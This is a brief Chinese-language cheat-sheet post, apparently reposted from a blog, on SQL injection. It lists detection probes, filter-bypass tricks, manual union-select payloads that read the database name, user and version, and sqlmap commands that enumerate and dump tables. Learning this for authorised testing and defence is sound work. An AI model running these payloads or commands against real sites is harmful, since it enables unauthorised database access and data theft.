sql注入
Posted ruowei
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入相关的知识,希望对你有一定的参考价值。
一、步骤
-
判断是否存在注入,注入是字符型还是数字型
-
猜解sql查询语句中的字段数
-
确定显示的字段顺序
-
获取当前数据库
-
获取数据库中的表
-
获取表中的字段名
-
下载数据
-
工具:sqlmap
二、寻找注入点
-
输入的字段作为string,用单引号或双引号来判断
-
’
-
输入的字段作为数值型,此时没有字段两边引号,也适用于没有错误回显(盲注)
-
id=1 and 1=1和id=1 and 1=2
-
id=1 or 1
-
id=-1
三、过滤
-
空格被过滤,可以用/**/(注释)替换
-
=被过滤,可以用like替换
四、手工注入
-
判断字段数: order by 数字
-
判断回显位置:union select 1,2,3,4...
-
判断数据库信息:union select database(),user(),version(),...
五、编码
-
url编码
-
md5编码
-
base64编码
六、sqlmap
-
python sqlmap.py -u "url" //查询是否存在注入点
-
python sqlmap.py -u "url" --tamper "base64encode.py" //使用base64编码
-
python sqlmap.py -u "url" --dbs //查询数据库
-
python sqlmap.py -u "url" -D dbname --tables //查询表
-
python sqlmap.py -u "url" -D dbname --tables --columns //查询字段名
-
python sqlmap.py -u "url" --dump -T tablename -C "字段名" //获取字段的值
以上是关于sql注入的主要内容,如果未能解决你的问题,请参考以下文章